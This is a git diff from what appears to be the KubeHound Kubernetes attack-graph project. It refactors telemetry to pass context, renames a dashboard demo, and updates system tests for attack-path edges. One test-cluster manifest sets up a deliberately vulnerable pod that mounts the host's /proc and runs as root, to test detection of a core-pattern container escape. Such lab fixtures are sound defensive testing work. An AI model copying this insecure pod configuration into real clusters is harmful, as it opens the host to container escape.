1000 @@ -140,19 +150,21 @@ func TimingDist(name string, dt time.Duration, tags []string, rate float64) erro } // TimeInMilliseconds sends timing information in milliseconds. -func TimeInMilliseconds(name string, value float64, tags []string, rate float64) error { +func TimeInMilliseconds(ctx context.Context, name string, value float64, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.TimeInMilliseconds(name, value, tags, rate) } // Distribution tracks accurate global percentiles of a set of values. -func Distribution(name string, value float64, tags []string, rate float64) error { +func Distribution(ctx context.Context, name string, value float64, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Distribution(name, value, tags, rate) } diff --git a/pkg/telemetry/tag/tags.go b/pkg/telemetry/tag/tags.go index f9340a60c..3e3b6693d 100644 --- a/pkg/telemetry/tag/tags.go +++ b/pkg/telemetry/tag/tags.go @@ -1,20 +1,20 @@ package tag -import "sync" +import ( + "context" + "sync" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) const ( ActionTypeTag = "action" CollectorTag = "collector" - CollectorClusterTag = "cluster" DumperS3BucketTag = "s3_bucket" DumperS3keyTag = "s3_key" - DumperFilePathTag = "file_path" DumperWorkerNumberTag = "worker_number" DumperWriterTypeTag = "writer_type" - EntityTag = "entity" WaitTag = "wait" - RunIdTag = "run_id" - IngestionRunIdTag = "ingestion_run_id" LabelTag = "label" CollectionTag = "collection" BuilderTag = "builder" @@ -23,6 +23,14 @@ const ( EdgeTypeTag = "edge_type" ) +var ( + RunIdTag = log.FieldRunIDKey + CollectorClusterTag = log.FieldClusterKey + DumperFilePathTag = log.FieldPathKey + EntityTag = log.FieldEntityKey + CompenentTag = log.FieldComponentKey +) + const ( StorageJanusGraph = "janusgraph" StorageMongoDB = "mongodb" @@ -83,10 +91,6 @@ func RunID(uuid string) string { return MakeTag(RunIdTag, uuid) } -func IngestionRunID(uuid string) string { - return MakeTag(IngestionRunIdTag, uuid) -} - func Collector(collector string) string { return MakeTag(CollectorTag, collector) } @@ -134,3 +138,27 @@ func S3Bucket(bucket string) string { func S3Key(key string) string { return MakeTag(DumperS3keyTag, key) } + +func ComponentName(component string) string { + return MakeTag(CompenentTag, component) +} + +func GetDefaultTags(ctx context.Context) []string { + defaultTags := []string{} + runID := log.GetRunIDFromContext(ctx) + if runID != "" { + defaultTags = append(defaultTags, RunID(runID)) + } + + cluster := log.GetClusterFromContext(ctx) + if cluster != "" { + defaultTags = append(defaultTags, ClusterName(cluster)) + } + + component := log.GetComponentFromContext(ctx) + if component != "" { + defaultTags = append(defaultTags, ComponentName(component)) + } + + return defaultTags +} diff --git a/pkg/telemetry/telemetry.go b/pkg/telemetry/telemetry.go index 9362adb66..a25629013 100644 --- a/pkg/telemetry/telemetry.go +++ b/pkg/telemetry/telemetry.go @@ -1,6 +1,8 @@ package telemetry import ( + "context" + "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/profiler" @@ -14,21 +16,22 @@ type State struct { // Initialize all telemetry required // return client to enable clean shutdown -func Initialize(khCfg *config.KubehoundConfig) error { +func Initialize(ctx context.Context, khCfg *config.KubehoundConfig) error { + l := log.Logger(ctx) if !khCfg.Telemetry.Enabled { - log.I.Warnf("Telemetry disabled via configuration") + l.Warn("Telemetry disabled via configuration") return nil } // Profiling - profiler.Initialize(khCfg) + profiler.Initialize(ctx, khCfg) // Tracing - tracer.Initialize(khCfg) + tracer.Initialize(ctx, khCfg) // Metrics - err := statsd.Setup(khCfg) + err := statsd.Setup(ctx, khCfg) if err != nil { return err } @@ -36,8 +39,9 @@ func Initialize(khCfg *config.KubehoundConfig) error { return nil } -func Shutdown(enabled bool) { - if enabled { +func Shutdown(ctx context.Context, enabled bool) { + l := log.Logger(ctx) + if !enabled { return } @@ -45,16 +49,16 @@ func Shutdown(enabled bool) { profiler.Shutdown() // Tracing - tracer.Shutdown() + tracer.Shutdown(ctx) // Metrics err := statsd.Flush() if err != nil { - log.I.Warnf("Failed to flush statsd client: %v", err) + l.Warnf("Failed to flush statsd client", log.ErrorField(err)) } err = statsd.Close() if err != nil { - log.I.Warnf("Failed to close statsd client: %v", err) + l.Warnf("Failed to close statsd client", log.ErrorField(err)) } } diff --git a/pkg/telemetry/tracer/tracer.go b/pkg/telemetry/tracer/tracer.go index 6c59b6e72..e7eedd083 100644 --- a/pkg/telemetry/tracer/tracer.go +++ b/pkg/telemetry/tracer/tracer.go @@ -1,6 +1,7 @@ package tracer import ( + "context" "strings" "github.com/DataDog/KubeHound/pkg/config" @@ -10,16 +11,20 @@ import ( "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) -func Initialize(cfg *config.KubehoundConfig) { +func Initialize(ctx context.Context, cfg *config.KubehoundConfig) { + l := log.Logger(ctx) + // Default options opts := []tracer.StartOption{ tracer.WithEnv(globals.GetDDEnv()), - tracer.WithService(globals.DDServiceName), + tracer.WithService(globals.GetDDServiceName()), tracer.WithServiceVersion(config.BuildVersion), - tracer.WithLogStartup(false), + tracer.WithLogStartup(true), + tracer.WithAnalytics(true), } + if cfg.Telemetry.Tracer.URL != "" { - log.I.Infof("Using %s for tracer URL", cfg.Telemetry.Tracer.URL) + l.Infof("Using %s for tracer URL", cfg.Telemetry.Tracer.URL) opts = append(opts, tracer.WithAgentAddr(cfg.Telemetry.Tracer.URL)) } @@ -28,7 +33,7 @@ func Initialize(cfg *config.KubehoundConfig) { const tagSplitLen = 2 split := strings.Split(t, ":") if len(split) != tagSplitLen { - log.I.Fatalf("Invalid base tag in telemtry initialization: %s", t) + l.Fatal("Invalid base tag in telemetry initialization", log.String("tag", t)) } opts = append(opts, tracer.WithGlobalTag(split[0], split[1])) } @@ -37,10 +42,11 @@ func Initialize(cfg *config.KubehoundConfig) { for tk, tv := range cfg.Telemetry.Tags { opts = append(opts, tracer.WithGlobalTag(tk, tv)) } - tracer.Start(opts...) } -func Shutdown() { +func Shutdown(ctx context.Context) { + l := log.Logger(ctx) + l.Debug("Stoping tracer") tracer.Stop() } diff --git a/pyproject.toml b/pyproject.toml index 9a5bec116..c324fc998 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -7,7 +7,7 @@ readme = "README.md" [tool.poetry.dependencies] python = "^3.11" -mkdocs = "^1.2" +mkdocs = "^1.5" mkdocs-material = "^9.4.7" mkdocs-awesome-pages-plugin = "^2.9.2" markdown-captions = "^2.1.2" diff --git a/scripts/dashboard-insomnihack24k/README.md b/scripts/dashboard-demo/README.md similarity index 90% rename from scripts/dashboard-insomnihack24k/README.md rename to scripts/dashboard-demo/README.md index e514ce038..21634c419 100644 --- a/scripts/dashboard-insomnihack24k/README.md +++ b/scripts/dashboard-demo/README.md @@ -2,9 +2,6 @@ Small dashboard to show how KubeHound can be used to build a custom KPI dashboard. -This is a small PoC that was made specially for Insomnihack 2024 where KubeHound was presented: -* [https://www.insomnihack.ch/talks-2024/#BZ3UA9](Standing on the Shoulders of Giant(Dog)s: A Kubernetes Attack Graph Model) - > [!NOTE] > **You need to install poetry in order to run the PoC**: [[https://python-poetry.org/](https://python-poetry.org/)] diff --git a/scripts/dashboard-insomnihack24k/logo_kubehound.png b/scripts/dashboard-demo/logo_kubehound.png similarity index 100% rename from scripts/dashboard-insomnihack24k/logo_kubehound.png rename to scripts/dashboard-demo/logo_kubehound.png diff --git a/scripts/dashboard-insomnihack24k/main.py b/scripts/dashboard-demo/main.py similarity index 89% rename from scripts/dashboard-insomnihack24k/main.py rename to scripts/dashboard-demo/main.py index 19f09aae3..6195c18ee 100644 --- a/scripts/dashboard-insomnihack24k/main.py +++ b/scripts/dashboard-demo/main.py @@ -3,7 +3,7 @@ import panel as pn from gremlin_python.driver.client import Client -from bokeh.palettes import Iridescent, Iridescent +from bokeh.palettes import TolRainbow from bokeh.plotting import figure from bokeh.transform import cumsum import nest_asyncio @@ -26,7 +26,7 @@ def __init__(self, client): self.res_query_critical_path = c.submit(self.KH_QUERY_EXTERNAL_CRITICAL_PATH).all().result() self.get_details() print("Loading " + self.DISPLAY_TITLE + " DONE") - + def get_main(self): return self.DESCRIPTION @@ -44,7 +44,7 @@ def get_details(self): def display(self): return pn.Column( - f'# {self.DISPLAY_TITLE}', + f'# {self.DISPLAY_TITLE}', pn.layout.Divider(), pn.Row( self.DESCRIPTION, @@ -72,11 +72,11 @@ class EndpointKPI(KPI): KH_QUERY_EXTERNAL_COUNTS = "kh.endpoints().count()" KH_QUERY_DETAILS= 'kh.endpoints().criticalPaths().limit(local,1).dedup().valueMap("serviceEndpoint","port", "namespace")' KH_QUERY_EXTERNAL_CRITICAL_PATH = '''kh.V(). - hasLabel("Endpoint"). + has("class","Endpoint"). count(). aggregate("t"). V(). - hasLabel("Endpoint"). + has("class","Endpoint"). hasCriticalPath(). count(). as("e"). @@ -95,12 +95,12 @@ class IdentitiesKPI(KPI): KH_QUERY_EXTERNAL_COUNTS = "kh.identities().count()" KH_QUERY_DETAILS= 'kh.identities().criticalPaths().limit(local,1).dedup().valueMap("name","type","namespace")' KH_QUERY_EXTERNAL_CRITICAL_PATH = '''kh.V(). - hasLabel("Identity"). + has("class","Identity"). has("critical", false). count(). aggregate("t"). V(). - hasLabel("Identity"). + has("class","Identity"). has("critical", false). hasCriticalPath(). count(). @@ -121,11 +121,11 @@ class ContainersKPI(KPI): KH_QUERY_EXTERNAL_COUNTS = "kh.containers().count()" KH_QUERY_DETAILS= 'kh.containers().criticalPaths().limit(local,1).dedup().valueMap("name","image","app","namespace")' KH_QUERY_EXTERNAL_CRITICAL_PATH = '''kh.V(). - hasLabel("Container"). + has("class","Container"). count(). aggregate("t"). V(). - hasLabel("Container"). + has("class","Container"). hasCriticalPath(). count(). as("e"). @@ -146,11 +146,11 @@ class VolumesKPI(KPI): KH_QUERY_DETAILS= 'kh.volumes().criticalPaths().limit(local,1).dedup().valueMap("name","sourcePath", "namespace")' KH_QUERY_DETAILS_KEYS = ["name", "sourcePath"] KH_QUERY_EXTERNAL_CRITICAL_PATH = '''kh.V(). - hasLabel("Volume"). + has("class","Volume"). count(). aggregate("t"). V(). - hasLabel("Volume"). + has("class","Volume"). hasCriticalPath(). count(). as("e"). @@ -186,7 +186,7 @@ def get_main(self): def display(self): return pn.Column( - f'# {self.DISPLAY_TITLE}', + f'# {self.DISPLAY_TITLE}', pn.layout.Divider(), pn.Row( self.get_main(), @@ -208,12 +208,19 @@ def display(self): styles=dict(background='whitesmoke'), ) +# Only print the top x attacks def BokehPieChart(raw_data): - data = pd.Series(raw_data).reset_index(name='value').rename(columns={'index':'attacks'}) + sorted_data = dict(sorted(raw_data.items(), key=lambda item: item[1], reverse = True)) + q = len(sorted_data) // TOP_ATTACKS + iter = len(sorted_data) % TOP_ATTACKS * q + for i in range(1, iter): + sorted_data.popitem() + + data = pd.Series(sorted_data).reset_index(name='value').rename(columns={'index':'attacks'}) data['angle'] = data['value']/data['value'].sum() * 2*pi - data['color'] = Iridescent[len(raw_data)] + data['color'] = TolRainbow[len(sorted_data)] - p = figure( title="Attacks distribution", toolbar_location=None, + p = figure( title=f"Attacks distribution (top{TOP_ATTACKS})", toolbar_location=None, tools="hover", tooltips="@attacks: @value", x_range=(-0.5, 1.0)) r = p.wedge(x=0, y=1, radius=0.4, @@ -238,6 +245,9 @@ def GetClusterName(): return res[0] ACCENT = "teal" +# Number of attacks to print out in the attack distribution graph +# max value is 23 as the palette has only 23 colors (https://docs.bokeh.org/en/latest/docs/reference/palettes.html#accessible-palettes) +TOP_ATTACKS = 15 styles = { "box-shadow": "rgba(50, 50, 93, 0.25) 0px 6px 12px -2px, rgba(0, 0, 0, 0.3) 0px 3px 7px -3px", @@ -267,4 +277,4 @@ def GetClusterName(): main=[pn.Column(data, sizing_mode="stretch_both")], main_layout=None, accent=ACCENT, -).servable() \ No newline at end of file +).servable() diff --git a/scripts/dashboard-insomnihack24k/pyproject.toml b/scripts/dashboard-demo/pyproject.toml similarity index 92% rename from scripts/dashboard-insomnihack24k/pyproject.toml rename to scripts/dashboard-demo/pyproject.toml index 3106021b8..2830d7ea7 100644 --- a/scripts/dashboard-insomnihack24k/pyproject.toml +++ b/scripts/dashboard-demo/pyproject.toml @@ -1,5 +1,5 @@ [tool.poetry] -name = "insomnihack24k" +name = "kubehound-dashboard" version = "0.1.0" description = "" authors = ["jt-dd"] diff --git a/scripts/dashboard-insomnihack24k/logo_insomnihack.png b/scripts/dashboard-insomnihack24k/logo_insomnihack.png deleted file mode 100644 index 4af11caee..000000000 Binary files a/scripts/dashboard-insomnihack24k/logo_insomnihack.png and /dev/null differ diff --git a/static-analysis.datadog.yml b/static-analysis.datadog.yml index ca85da4ab..09054baf4 100644 --- a/static-analysis.datadog.yml +++ b/static-analysis.datadog.yml @@ -1,4 +1,7 @@ rulesets: - go-best-practices - go-security + - sit-ci-best-practices: + only: + - ".github/workflows" ignorePaths: [] diff --git a/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml b/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml index 959bc2864..9fbad7505 100644 --- a/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml +++ b/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml @@ -7,13 +7,15 @@ metadata: app: kubehound-edge-test spec: containers: - - name: umh-core-pod + - name: umh-core-container image: ubuntu volumeMounts: - mountPath: /sysproc name: nodeproc command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] + securityContext: + runAsUser: 0 volumes: - name: nodeproc hostPath: diff --git a/test/setup/test-cluster/attacks/IDENTITY_IMPERSONATE.yaml b/test/setup/test-cluster/attacks/IDENTITY_IMPERSONATE.yaml index 148602518..88c9ba01b 100644 --- a/test/setup/test-cluster/attacks/IDENTITY_IMPERSONATE.yaml +++ b/test/setup/test-cluster/attacks/IDENTITY_IMPERSONATE.yaml @@ -27,7 +27,6 @@ roleRef: subjects: - kind: ServiceAccount name: impersonate-sa - namespace: default --- apiVersion: v1 kind: Pod diff --git a/test/system/graph_dsl_test.go b/test/system/graph_dsl_test.go index 9756f3551..9edbfd208 100644 --- a/test/system/graph_dsl_test.go +++ b/test/system/graph_dsl_test.go @@ -17,7 +17,8 @@ type DslTestSuite struct { } func (suite *DslTestSuite) SetupTest() { - gdb, err := graphdb.Factory(context.Background(), config.MustLoadConfig(KubeHoundConfigPath)) + ctx := context.Background() + gdb, err := graphdb.Factory(ctx, config.MustLoadConfig(ctx, KubeHoundConfigPath)) suite.Require().NoError(err) suite.gdb = gdb suite.client = gdb.Raw().(*gremlingo.DriverRemoteConnection) @@ -115,6 +116,7 @@ func (suite *DslTestSuite) TestTraversalSource_escapes() { "path[kube-proxy, CE_MODULE_LOAD, Node]", "path[kube-proxy, CE_PRIV_MOUNT, Node]", "path[varlog-container, CE_VAR_LOG_SYMLINK, Node]", + "path[umh-core-container, CE_UMH_CORE_PATTERN, Node]", } suite.ElementsMatch(escapes, expected) @@ -218,6 +220,8 @@ func (suite *DslTestSuite) TestTraversalSource_groups() { // Default "system:nodes" group being used in IDENTITY_ASSUME attack "system:monitoring", "system:unauthenticated", "system:serviceaccounts", "system:bootstrappers:kubeadm:default-node-token", "system:authenticated", "system:masters", + // KubeAdm groups + "kubeadm:cluster-admins", } for _, identity := range expectedIdentities { if identity.Type == "Group" { @@ -257,7 +261,6 @@ func (suite *DslTestSuite) TestTraversal_criticalPaths() { // There are A LOT of paths in the test cluster. Just sample a few expected := []string{ "path[Endpoint, ENDPOINT_EXPLOIT, Container, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]", - "path[Endpoint, ENDPOINT_EXPLOIT, Container, VOLUME_DISCOVER, Volume, TOKEN_STEAL, Identity, PERMISSION_DISCOVER, PermissionSet]", "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_NSENTER, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]", "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_MODULE_LOAD, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]", "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_PRIV_MOUNT, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]", @@ -281,7 +284,7 @@ func (suite *DslTestSuite) TestTraversal_minHopsToCritical() { serviceHops, err := res.GetInt() suite.NoError(err) - suite.Equal(serviceHops, 4) + suite.Equal(4, serviceHops) // Container should have 1 less hop raw, err = suite.client.Submit("kh.containers().minHopsToCritical(6)") @@ -293,7 +296,7 @@ func (suite *DslTestSuite) TestTraversal_minHopsToCritical() { containerHops, err := res.GetInt() suite.NoError(err) - suite.Equal(containerHops, serviceHops-1) + suite.Equal(serviceHops-1, containerHops) } func (suite *DslTestSuite) TestTraversal_criticalPathsFilter() { diff --git a/test/system/graph_edge_test.go b/test/system/graph_edge_test.go index 19b656127..0298ff441 100644 --- a/test/system/graph_edge_test.go +++ b/test/system/graph_edge_test.go @@ -19,7 +19,8 @@ type EdgeTestSuite struct { } func (suite *EdgeTestSuite) SetupTest() { - gdb, err := graphdb.Factory(context.Background(), config.MustLoadConfig(KubeHoundConfigPath)) + ctx := context.Background() + gdb, err := graphdb.Factory(ctx, config.MustLoadConfig(ctx, KubeHoundConfigPath)) suite.Require().NoError(err) suite.gdb = gdb suite.client = gdb.Raw().(*gremlingo.DriverRemoteConnection) @@ -130,10 +131,18 @@ func (suite *EdgeTestSuite) TestEdge_CE_SYS_PTRACE() { suite._testContainerEscape("CE_SYS_PTRACE", DefaultContainerEscapeNodes, containers) } +func (suite *EdgeTestSuite) TestEdge_CE_UMH_CORE_PATTERN() { + containers := map[string]bool{ + "umh-core-container": true, + } + + suite._testContainerEscape("CE_UMH_CORE_PATTERN", DefaultContainerEscapeNodes, containers) +} + func (suite *EdgeTestSuite) TestEdge_CONTAINER_ATTACH() { // Every container should have a CONTAINER_ATTACH incoming from a pod rawCount, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). Count().Next() suite.NoError(err) @@ -142,9 +151,9 @@ func (suite *EdgeTestSuite) TestEdge_CONTAINER_ATTACH() { suite.NotEqual(containerCount, 0) rawCount, err = suite.g.V(). - HasLabel("Pod"). + Has("class", "Pod"). OutE().HasLabel("CONTAINER_ATTACH"). - InV().HasLabel("Container"). + InV().Has("class", "Container"). Dedup(). Path(). Count().Next() @@ -168,9 +177,9 @@ func (suite *EdgeTestSuite) TestEdge_IDENTITY_ASSUME_Container() { // tokenlist-sa 0 7h39m results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). OutE().HasLabel("IDENTITY_ASSUME"). - InV().HasLabel("Identity"). + InV().Has("class", "Identity"). Path(). By(__.ValueMap("name")). ToList() @@ -203,9 +212,9 @@ func (suite *EdgeTestSuite) TestEdge_IDENTITY_ASSUME_Container() { func (suite *EdgeTestSuite) TestEdge_IDENTITY_ASSUME_Node() { results, err := suite.g.V(). - HasLabel("Node"). + Has("class", "Node"). OutE().HasLabel("IDENTITY_ASSUME"). - InV().HasLabel("Identity"). + InV().Has("class", "Identity"). Path(). By(__.ValueMap("name")). ToList() @@ -225,7 +234,7 @@ func (suite *EdgeTestSuite) TestEdge_IDENTITY_ASSUME_Node() { func (suite *EdgeTestSuite) TestEdge_POD_ATTACH() { // Every pod should have a POD_ATTACH incoming from a node rawCount, err := suite.g.V(). - HasLabel("Pod"). + Has("class", "Pod"). Count().Next() suite.NoError(err) @@ -234,9 +243,9 @@ func (suite *EdgeTestSuite) TestEdge_POD_ATTACH() { suite.NotEqual(podCount, 0) rawCount, err = suite.g.V(). - HasLabel("Node"). + Has("class", "Node"). OutE().HasLabel("POD_ATTACH"). - InV().HasLabel("Pod"). + InV().Has("class", "Pod"). Dedup(). Path(). Count().Next() @@ -251,10 +260,10 @@ func (suite *EdgeTestSuite) TestEdge_POD_PATCH() { // We have one bespoke container running with pod/patch permissions which should reach all nodes // since they are not namespaced results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("namespace", "default"). OutE().HasLabel("POD_PATCH"). - InV().HasLabel("Pod"). + InV().Has("class", "Pod"). Path(). By(__.ValueMap("name")). ToList() @@ -300,10 +309,10 @@ func (suite *EdgeTestSuite) TestEdge_POD_CREATE() { // We have one bespoke container running with pod/create permissions which should reach all nodes // since they are not namespaced results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("namespace", "default"). OutE().HasLabel("POD_CREATE"). - InV().HasLabel("Node"). + InV().Has("class", "Node"). Path(). By(__.ValueMap("name")). ToList() @@ -323,10 +332,10 @@ func (suite *EdgeTestSuite) TestEdge_POD_CREATE() { func (suite *EdgeTestSuite) TestEdge_POD_EXEC() { // We have one bespoke container running with pod/exec permissions which should reach all pods in the namespace results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("namespace", "default"). OutE().HasLabel("POD_EXEC"). - InV().HasLabel("Pod"). + InV().Has("class", "Pod"). Path(). By(__.ValueMap("name")). ToList() @@ -382,10 +391,10 @@ func (suite *EdgeTestSuite) TestEdge_PERMISSION_DISCOVER() { // tokenget-sa 0 7h39m // tokenlist-sa 0 7h39m results, err := suite.g.V(). - HasLabel("Identity"). + Has("class", "Identity"). Has("namespace", "default"). OutE().HasLabel("PERMISSION_DISCOVER"). - InV().HasLabel("PermissionSet"). + InV().Has("class", "PermissionSet"). Path(). By(__.ValueMap("name")). ToList() @@ -420,7 +429,7 @@ func (suite *EdgeTestSuite) TestEdge_PERMISSION_DISCOVER() { func (suite *EdgeTestSuite) TestEdge_VOLUME_ACCESS() { // Every volume should have a VOLUME_ACCESS incoming from a node rawCount, err := suite.g.V(). - HasLabel("Volume"). + Has("class", "Volume"). Count().Next() suite.NoError(err) @@ -429,9 +438,9 @@ func (suite *EdgeTestSuite) TestEdge_VOLUME_ACCESS() { suite.NotEqual(volumeCount, 0) rawCount, err = suite.g.V(). - HasLabel("Node"). + Has("class", "Node"). OutE().HasLabel("VOLUME_ACCESS"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). Dedup(). Path(). Count().Next() @@ -445,7 +454,7 @@ func (suite *EdgeTestSuite) TestEdge_VOLUME_ACCESS() { func (suite *EdgeTestSuite) TestEdge_VOLUME_DISCOVER() { // Every volume should have a VOLUME_DISCOVER incoming from a container rawCount, err := suite.g.V(). - HasLabel("Volume"). + Has("class", "Volume"). Count().Next() suite.NoError(err) @@ -454,9 +463,9 @@ func (suite *EdgeTestSuite) TestEdge_VOLUME_DISCOVER() { suite.NotEqual(volumeCount, 0) rawCount, err = suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). OutE().HasLabel("VOLUME_DISCOVER"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). Dedup(). Path(). Count().Next() @@ -469,10 +478,10 @@ func (suite *EdgeTestSuite) TestEdge_VOLUME_DISCOVER() { func (suite *EdgeTestSuite) TestEdge_TOKEN_BRUTEFORCE() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("namespace", "default"). OutE().HasLabel("TOKEN_BRUTEFORCE"). - InV().HasLabel("Identity"). + InV().Has("class", "Identity"). Path(). By(__.ValueMap("name")). ToList() @@ -505,10 +514,10 @@ func (suite *EdgeTestSuite) TestEdge_TOKEN_BRUTEFORCE() { func (suite *EdgeTestSuite) TestEdge_TOKEN_LIST() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("namespace", "default"). OutE().HasLabel("TOKEN_LIST"). - InV().HasLabel("Identity"). + InV().Has("class", "Identity"). Path(). By(__.ValueMap("name")). ToList() @@ -543,11 +552,11 @@ func (suite *EdgeTestSuite) TestEdge_TOKEN_STEAL() { // Every pod in our test cluster should have projected volume holding a token. BUT we only // save those with a non-default service account token as shown below. results, err := suite.g.V(). - HasLabel("Volume"). + Has("class", "Volume"). OutE(). HasLabel("TOKEN_STEAL"). InV(). - HasLabel("Identity"). + Has("class", "Identity"). Has("namespace", "default"). Values("name"). ToList() @@ -580,11 +589,11 @@ func (suite *EdgeTestSuite) TestEdge_TOKEN_STEAL() { func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_READ() { results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). OutE().HasLabel("VOLUME_DISCOVER"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). Where(__.OutE().HasLabel("EXPLOIT_HOST_READ"). - InV().HasLabel("Node")). + InV().Has("class", "Node")). Path(). By(__.ValueMap("name")). ToList() @@ -601,11 +610,11 @@ func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_READ() { func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_WRITE() { results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). OutE().HasLabel("VOLUME_DISCOVER"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). Where(__.OutE().HasLabel("EXPLOIT_HOST_WRITE"). - InV().HasLabel("Node")). + InV().Has("class", "Node")). Path(). By(__.ValueMap("name")). ToList() @@ -624,10 +633,10 @@ func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_TRAVERSE() { for _, c := range []string{"host-read-exploit-pod", "host-write-exploit-pod"} { // Find the containers on the same node as our vulnerable pod and map to their service accounts results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). Has("name", c). Values("node").As("n"). - V().HasLabel("Container"). + V().Has("class", "Container"). Has("node", __.Where(P.Eq("n"))). OutE("IDENTITY_ASSUME"). InV(). @@ -640,14 +649,14 @@ func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_TRAVERSE() { // Now find the identities our vulnerable pod can reach via doing a traverse to the projected token volume results, err = suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). Has("name", c). OutE().HasLabel("VOLUME_DISCOVER"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). OutE().HasLabel("EXPLOIT_HOST_TRAVERSE"). - InV().HasLabel("Volume"). + InV().Has("class", "Volume"). OutE().HasLabel("TOKEN_STEAL"). - InV().HasLabel("Identity"). + InV().Has("class", "Identity"). Values("name"). ToList() @@ -662,12 +671,12 @@ func (suite *EdgeTestSuite) TestEdge_EXPLOIT_HOST_TRAVERSE() { func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_ContainerPort() { results, err := suite.g.V(). - HasLabel("Endpoint"). + Has("class", "Endpoint"). Where( __.Has("exposure", P.Eq(int(shared.EndpointExposureClusterIP))). OutE("ENDPOINT_EXPLOIT"). InV(). - HasLabel("Container")). + Has("class", "Container")). Values("serviceEndpoint"). ToList() @@ -684,12 +693,12 @@ func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_ContainerPort() { func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_NodePort() { results, err := suite.g.V(). - HasLabel("Endpoint"). + Has("class", "Endpoint"). Where( __.Has("exposure", P.Eq(int(shared.EndpointExposureNodeIP))). OutE("ENDPOINT_EXPLOIT"). InV(). - HasLabel("Container")). + Has("class", "Container")). Values("serviceEndpoint"). ToList() @@ -706,12 +715,12 @@ func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_NodePort() { func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_External() { results, err := suite.g.V(). - HasLabel("Endpoint"). + Has("class", "Endpoint"). Where( __.Has("exposure", P.Eq(int(shared.EndpointExposureExternal))). OutE("ENDPOINT_EXPLOIT"). InV(). - HasLabel("Container")). + Has("class", "Container")). Values("serviceEndpoint"). ToList() @@ -728,9 +737,9 @@ func (suite *EdgeTestSuite) TestEdge_ENDPOINT_EXPLOIT_External() { func (suite *EdgeTestSuite) TestEdge_SHARE_PS_NAMESPACE() { results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). OutE().HasLabel("SHARE_PS_NAMESPACE"). - InV().HasLabel("Container"). + InV().Has("class", "Container"). Path(). By(__.ValueMap("name")). ToList() @@ -758,10 +767,10 @@ func (suite *EdgeTestSuite) TestEdge_SHARE_PS_NAMESPACE() { // Case 1 (cf docs) func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_1() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("isNamespaced", false). OutE().HasLabel("ROLE_BIND"). - InV().HasLabel("PermissionSet"). + InV().Has("class", "PermissionSet"). Has("isNamespaced", false). // Scoping only to the roles related to the attacks to avoid dependency on the Kind Cluster default roles Has("name", gremlingo.TextP.StartingWith("rolebind")). @@ -789,10 +798,10 @@ func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_1() { // Case 2 (cf docs) func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_2() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("isNamespaced", false). OutE().HasLabel("ROLE_BIND"). - InV().HasLabel("PermissionSet"). + InV().Has("class", "PermissionSet"). Has("isNamespaced", false). // Scoping only to the roles related to the attacks to avoid dependency on the Kind Cluster default roles Has("name", gremlingo.TextP.StartingWith("rolebind")). @@ -820,10 +829,10 @@ func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_2() { // Case 3 (cf docs) func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_3() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("isNamespaced", true). OutE().HasLabel("ROLE_BIND"). - InV().HasLabel("PermissionSet"). + InV().Has("class", "PermissionSet"). Has("isNamespaced", true). // 